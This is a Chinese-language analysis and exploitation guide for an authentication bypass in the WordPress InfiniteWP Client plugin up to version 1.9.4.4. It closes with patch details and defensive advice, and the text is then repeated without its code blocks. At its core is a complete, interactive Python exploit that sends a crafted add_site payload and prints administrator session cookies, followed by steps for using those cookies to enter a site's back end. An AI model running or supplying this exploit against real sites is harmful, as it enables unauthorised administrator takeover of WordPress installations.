关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用
字数 1196 2025-08-15 21:30:34

WordPress InfiniteWP Client 身份认证绕过漏洞分析与利用指南

漏洞概述

InfiniteWP Client 是一个 WordPress 插件,当与 InfiniteWP Admin Panel 结合使用时,可以集中管理多个 WordPress 站点。在版本 <=1.9.4.4 中存在一个严重的身份认证绕过漏洞,允许攻击者无需凭证即可获取管理员权限。

影响范围

  • 插件版本:InfiniteWP Client <=1.9.4.4
  • 受影响站点:超过 300,000 个 WordPress 站点

漏洞分析

漏洞位置

漏洞主要存在于 iwp_mmb_set_request() 函数中,该函数位于插件代码中,负责处理用户认证逻辑。

关键代码分析

  1. 认证绕过逻辑
if (empty($iwp_mmb_core->request_params)) {
    return false;
}
$params = $iwp_mmb_core->request_params;
...
if(isset($params['username']) && !is_user_logged_in()){
    $user = get_user_by('login', $params['username']);
    if (isset($user) && isset($user->ID)) {
        wp_set_current_user($user->ID);
        wp_set_auth_cookie($user->ID); // 这里设置了认证cookie
    }
}
  1. 请求参数来源
    参数来自 $iwp_mmb_core->request_params,该值由 iwp_mmb_parse_request() 函数设置。

  2. 绕过安全检查的关键点

if ($action == 'add_site') {
    $params['iwp_action'] = $action;
    $iwp_mmb_core->request_params = $params;
    return; // 直接返回,跳过了后续的认证检查
}

漏洞原理

$actionadd_sitereadd_site 时,代码直接设置 request_params 并返回,跳过了 authenticate_message() 的安全检查。攻击者可以构造特定的请求,通过 add_site 操作直接设置任意用户的认证 cookie。

漏洞利用

利用步骤

  1. 构造恶意请求

    • 请求必须包含 _IWP_JSON_PREFIX_ 标记
    • 数据需要先 JSON 编码,然后 Base64 编码
  2. 请求格式

{
    "iwp_action": "add_site",
    "params": {
        "username": "目标用户名"
    }
}
  1. Python 利用代码
import requests
import base64
import json

def exploit(url, username):
    json_info = {"iwp_action": "add_site", "params": {"username": username}}
    try:
        return requests.post(
            url,
            timeout=5,
            verify=False,
            headers={"User-Agent": "Mozilla/5.0"},
            data="_IWP_JSON_PREFIX_{}".format(
                base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8")
            )
        )
    except Exception as e:
        print("[-] 错误: {}".format(e))
        return False

if __name__ == "__main__":
    url = input("[+] 目标URL (如 http://target/wp-admin/): ")
    username = input("[+] 目标用户名 (如 admin): ")
    response = exploit(url, username)
    
    if response and response.status_code == 200:
        cookies = "; ".join([f"{k}={v}" for k, v in response.cookies.items()])
        print(f"[+] 成功获取Cookie:\n{cookies}")
    else:
        print("[-] 利用失败")

利用过程

  1. 运行上述脚本,输入目标 WordPress 站点的 /wp-admin/ URL 和管理员用户名
  2. 脚本会返回认证 Cookie
  3. 使用该 Cookie 访问 WordPress 后台即可获得管理员权限

漏洞修复

该漏洞在 1.9.4.5 版本中修复,修复方式是在 iwp_mmb_set_request() 函数开始处添加了对 add_sitereadd_site 操作的直接拒绝:

if ($action == 'add_site' || $action == 'readd_site') {
    return false; // 直接拒绝这些操作
}

防护建议

  1. 立即升级:将所有 InfiniteWP Client 插件升级到最新版本 (>=1.9.4.5)
  2. 监控日志:检查是否有可疑的 add_sitereadd_site 请求
  3. 最小权限原则:确保 WordPress 用户仅拥有必要权限
  4. Web 应用防火墙:配置规则拦截可疑的 InfiniteWP 相关请求

总结

此漏洞利用 WordPress InfiniteWP Client 插件中的逻辑缺陷,通过精心构造的 add_site 请求绕过认证检查,直接获取管理员权限。由于该插件安装量巨大,影响范围广泛,建议所有使用该插件的站点立即升级到最新版本。

WordPress InfiniteWP Client 身份认证绕过漏洞分析与利用指南 漏洞概述 InfiniteWP Client 是一个 WordPress 插件,当与 InfiniteWP Admin Panel 结合使用时,可以集中管理多个 WordPress 站点。在版本 <=1.9.4.4 中存在一个严重的身份认证绕过漏洞,允许攻击者无需凭证即可获取管理员权限。 影响范围 插件版本:InfiniteWP Client <=1.9.4.4 受影响站点:超过 300,000 个 WordPress 站点 漏洞分析 漏洞位置 漏洞主要存在于 iwp_mmb_set_request() 函数中,该函数位于插件代码中,负责处理用户认证逻辑。 关键代码分析 认证绕过逻辑 : 请求参数来源 : 参数来自 $iwp_mmb_core->request_params ,该值由 iwp_mmb_parse_request() 函数设置。 绕过安全检查的关键点 : 漏洞原理 当 $action 为 add_site 或 readd_site 时,代码直接设置 request_params 并返回,跳过了 authenticate_message() 的安全检查。攻击者可以构造特定的请求,通过 add_site 操作直接设置任意用户的认证 cookie。 漏洞利用 利用步骤 构造恶意请求 : 请求必须包含 _IWP_JSON_PREFIX_ 标记 数据需要先 JSON 编码,然后 Base64 编码 请求格式 : Python 利用代码 : 利用过程 运行上述脚本,输入目标 WordPress 站点的 /wp-admin/ URL 和管理员用户名 脚本会返回认证 Cookie 使用该 Cookie 访问 WordPress 后台即可获得管理员权限 漏洞修复 该漏洞在 1.9.4.5 版本中修复,修复方式是在 iwp_mmb_set_request() 函数开始处添加了对 add_site 和 readd_site 操作的直接拒绝: 防护建议 立即升级 :将所有 InfiniteWP Client 插件升级到最新版本 (>=1.9.4.5) 监控日志 :检查是否有可疑的 add_site 或 readd_site 请求 最小权限原则 :确保 WordPress 用户仅拥有必要权限 Web 应用防火墙 :配置规则拦截可疑的 InfiniteWP 相关请求 总结 此漏洞利用 WordPress InfiniteWP Client 插件中的逻辑缺陷,通过精心构造的 add_site 请求绕过认证检查,直接获取管理员权限。由于该插件安装量巨大,影响范围广泛,建议所有使用该插件的站点立即升级到最新版本。